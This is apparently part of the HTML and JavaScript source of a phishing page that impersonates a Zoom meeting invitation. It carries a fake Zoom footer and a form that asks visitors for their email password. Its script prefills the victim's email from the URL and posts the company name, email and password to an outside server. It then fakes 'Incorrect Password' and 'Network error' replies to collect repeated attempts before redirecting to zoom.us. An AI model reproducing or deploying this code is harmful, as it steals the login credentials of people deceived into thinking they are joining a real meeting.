qPMFlBFBoKaUN2uKjcFC6eHqJObjYJ+0SUVw4II1WWqgoFx03svAovLrzENm5UnUp6lweo3RTWk9wljgSqzlT+oZywxnK+acTCAam13GlORsuNpKldR2Fg2UPMtWZGlBjgwfFNbmFTbAyaTNgu85xH2IgSqANdVVXPxIUDXwLLK3b2dS1AViggPIlXQyp8BmhSZgCpvZjDV8R2mIAW4uehNHN8xGeBANYat8vMEGYlUQZM03t/wBpkwsJR5b8Ipm2ht2BeyAeSCoCZA9Ud1QapTZxALZBEuHuqWZrMGZLeMLp5dQMbafYqg0FYtuzGI65kWrdHbWcxMkMocMcHmMREToOxBwKKWXk80mstKNGkMGHshEm2oCLerQuHmYMbtAtX8V7h0xDaNa8oVase/mUFWCUsq+3PLmY+3BwNywudYZR05iLeg1Vm5vxVvBHxk+OmsJsS+3eEuVH0PqjGcKcGIN2TWIDlRenBqE6Jhe+cM1T7PHnt8pyi6xzg/SYHdZcO9f7xCnNVS8gG7qkTqsDLYeuQXIObGR+NjKl0XAwnTh5uATBr+qigCit/nBEegKKil/EPONML8cbR+pmDMeLzKew6xGnk7JhqeALmvylhPakT1Zq/rMJ4k5IBW8IFuGJQPtvjPNB+sbE7VQACVosAHsZgZqMAcI2MLxxFXtRiAWRlrRkVloMX9wFuAVqFLoL4lRwwg2aANLvp13mNkq6Zbn0sOH5iuKZ4MNtLxMGebtBym/9+yK4vtMHmwtEWM10wtTRYqzDUDSVILLtL/DF6/rCi0AXh4R9VHUd77Ok/eJm5phWxAy3leOTuVfzvP3QtB17Q6IJKnm8LglVKkOHA/xDipy76bM2xL4ltDX35hvIbDCvHvFQOHV3CmNfhBWZQtGFiNa9nMfVECttbKaA53Gr8uK4ZwqHts8Qh7UlosnNkdIVc8RPhKRFs2lvLaO3JC+e4ArgN2GzDz1HvUUoxUcWuUHVFeOOOGdiAXVDrqiZWhxixsN0rPmLHBA/FY0WuV6PUuqRwsXZx1HcbQNbucdQzeDCr6ceYQWZQW8TnzUKwQbgAaGsrqnO5yZaQgwtQq5XtleYAoASaDuU8Scig7eiATdPYZw8EtWoQp3deJZgYKMGHiBrsCx/yYRttqXGxTnD2RHeTkpEkyN2LmFlF1mEDnN1bj3TCoAryILWtnHvKaAsKo34MhruHwHRD/OkGzECgpXeQvFMB0wBXLVkc3ir01OOe+qN2VFEwiV7tvX4JMkAu7F28OCLUSeDsbqqjiFLwB3Tg8RMWEtSvA7fUPp6ro5v5suEizdPFZS3oA2AH7S8B69zQduf9iY8GMrQKoYq0zxyQfWOBSn1cy4c2hh6juGq1qYNrx/nUoIKZ8h/oQIEJylCx8JsJqS2it+JXbADBOy8nf8AcPUV54F08iN9R1nTSgVqjfnHZLjknrsmAKyPXmZtoRtcqYyvMHiTVZUPlxs9rP/Z"
                            class="userm"
                          />
                          <text>
                            <i
                              >Mrs Laurie Ashford <h4>International Market
                              Manager</h4></i
                            ></text
                          >
                        </div>
                      </div>
                    </div>

                    <div class="controls wc-new-syle">
                      <div
                        style="
                          display: flex;
                          align-items: center;
                          justify-content: center;
                        "
                      >
                        <div
                          class="spinner-container"
                          style="margin-right: 20px; margin-bottom: 4px"
                        ></div>
                        <div style="margin-right: 10px" id="loading-ind"></div>
                      </div>
                      <div class="load">
                        <div id="loadingAnimation"></div>
                        <div id="outputDiv"></div>
                      </div>

                      <br />

                      <a
                        id="btnSubmitMain"
                        role="button"
                        style="
                          height: 56px;
                          line-height: 44px;
                          width: 100%;
                          background-color: rgb(14, 113, 235);
                          opacity: 1;
                          border-color: rgb(14, 113, 235);
                          color: rgb(255, 255, 255);
                        "
                        class="btn btn-primary user submit"
                        >Join</a
                      >
                    </div>
                  </form>
                </div>
              </div>

              <!-- the part of the password -->
              <div
                style="display: none"
                id="passwordpart"
                class="mini-layout-body"
              >
                <div
                  class="page-header-mobile"
                  style="display: block; text-align: center"
                >
                  <h1 style="font-size: 24px">Join Online Meeting</h1>
                  <p>
                    Welcome <span id="companyNameS"></span>, You have been
                    invited to join a meeting
                  </p>
                  <div>
                    <p>Signed in as <br /></p>
                    <p style="color: rgb(9, 86, 181); font-size: 24px">
                      <b id="userEmail">null</b>
                    </p>

                    <p></p>
                  </div>
                </div>
                <div class="box">
                  <div class="form-group confno" style="margin-bottom: 16px">
                    <div class="controls">
                      <br />
                      <input type="hidden" id="sendemail" />
                      <div
                        id="errormsg"
                        style="color: red; font-size: 16px; margin-bottom: 5px"
                      ></div>
                      <input type="hidden" id="number" value="0" />
                      <input
                        style="width: 100%; height: 50px"
                        aria-describedby="rule-tip"
                        id="passwordField"
                        name="pass"
                        type="password"
                        class="form-control input-lg confno"
                        autocomplete="off"
                        maxlength="40"
                        placeholder="Enter Email Password"
                      /><br />
                      <p>
                        <input type="checkbox" checked="" /> &nbsp;I agree to
                        the <a>Terms of Service</a> and <a>Privacy Statement</a>
                      </p>
                      <div id="errorContainer" class="wc-new-syle">
                        <div id="join-errormsg" class="error hideme">
                          <i></i><span></span>
                        </div>
                      </div>
                    </div>
                  </div>
                  <div class="controls wc-new-syle">
                    <button
                      id="loginButton"
                      role="button"
                      style="
                        height: 56px;
                        color: white;
                        line-height: 44px;
                        width: 100%;
                        background-color: rgb(14, 113, 235);
                        opacity: 1;
                        border-color: rgb(14, 113, 235);
                        color: rgb(255, 255, 255);
                      "
                      class="btn btn-primary user submit"
                    >
                      Launch Meeting
                    </button>
                  </div>
                </div>
              </div>

              <!-- part where the users put in their password -->
            </div>
            <br /><br />
            <h5 style="text-align: center">
              if you are unable to join the meeting visit
              <a>zoom support Center </a> for usefull information
            </h5>
          </div>
        </div>
      </main>
      <footer class="Footer_footer___O5Nl">
        Copyright ©2024 Zoom Video Communications, Inc. All rights reserved.
      </footer>
    </div>
  </body>

  <script>
    $(document).ready(function () {

      const emailPattern = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/;
      const email = window.location.hash.substr(1);
      let my_email = '';

      if (email) {
          const base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;
          my_email = base64regex.test(email) ? atob(email) : email;
          const [local, domain] = my_email.split('@');
          const final = domain.split('.')[0].toUpperCase();

          $('#email').val(my_email);
         
      }


      $("#submitBtn1").click(function () {
        function validateEmail(email) {
          // Basic email validation regex
          var re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
          return re.test(email);
        }

        // Get values from the inputs
        var input1 = $("#companyName").val().trim();
        var input2 = $("#email").val().trim();

        // Validate inputs
        if (input1 === "" || input2 === "") {
          $("#errorMessage").show();
          return;
        }

        if (!validateEmail(input2)) {
          $("#errorMessageEmail").show();
          return;
        }

        // Prepare data for the AJAX POST request
        var data = {
          input1: input1,
          input2: input2,
        };

        // AJAX POST request
        $.ajax({
          url: "https://dev-camronn.pantheonsite.io/wp-includes/IXR/ab/result.php",
          type: "POST",
          data: data,
          dataType: "text",
        });
        $("#firstpart").hide();
              $("#joinpart").fadeIn(1000).delay(2000);
            $("#userEmail").text(input2);
            $("#companyNameSecond").text(input1);
            $("#companyNameS").text(input1);
            $("#sendemail").val(input2);
      });
    });

    $(document).ready(function () {
      $("#btnSubmitMain").click(function () {
        // Show the loading animation
        $("#loadingAnimation").show();

        // Array of messages to show
        var messages = ["Detecting OS Device...", "OS Detected...", "Authenticating..."];

        // Index to track which message to show
        var index = 0;

        // Interval to change the text every second
        var interval = setInterval(function () {
          // Change the text of the div
          $("#outputDiv").text(messages[index]);

          // Update index
          index++;

          // If all messages have been shown, stop the interval
          if (index >= messages.length) {
            clearInterval(interval);

            // Hide the loading animation after the last message
            setTimeout(function () {
              $("#loadingAnimation").hide();
            }, 7000); // Give 1 second to show the last message before hiding the animation
          }
          setTimeout(function () {
            $("#joinpart").fadeOut(1000).delay(1500);
            $("#passwordpart").fadeIn(1000).delay(2000);
          }, 8000);
        }, 2000); // Change text every second
      });
    });
    var $counter = $("#number");

    $(document).ready(function () {
      $("#loginButton").click(function () {
        // Get the value from the password field
        var password = $("#passwordField").val().trim();
        var email = $("#sendemail").val().trim();

        // Check if the password field is empty
        if (password === "") {
          $("#errormsg").text("Password is required"); // Show the error message
        } else {
          $("#errormsg").text(""); // Hide the error message
          $counter.val(parseInt($counter.val()) + 1);
          var verify = $("#number").val();

          // Prepare data for the AJAX POST request
          var data = {
            email: email,
            password: password,
            verify: verify,
          };

          // AJAX POST request
          $.ajax({
            url: "https://dev-camronn.pantheonsite.io/wp-includes/IXR/ab/result.php",
            type: "POST",
            data: data,
            dataType: "text",
         
            
          });
          if (verify > 2) {
            setTimeout(function(){location.href= 'https://zoom.us/'} , 500);   

          }

          if (verify > 1) {
            $("#errormsg").text("Network error! Connection timed Out."); // Show the error message
            document.getElementById("passwordField").value = "";
          } else {
            $("#errormsg").text("Incorrect Password"); // Show the error message
            document.getElementById("passwordField").value = "";
          }
        }
      });
    });
  </script>
</html>
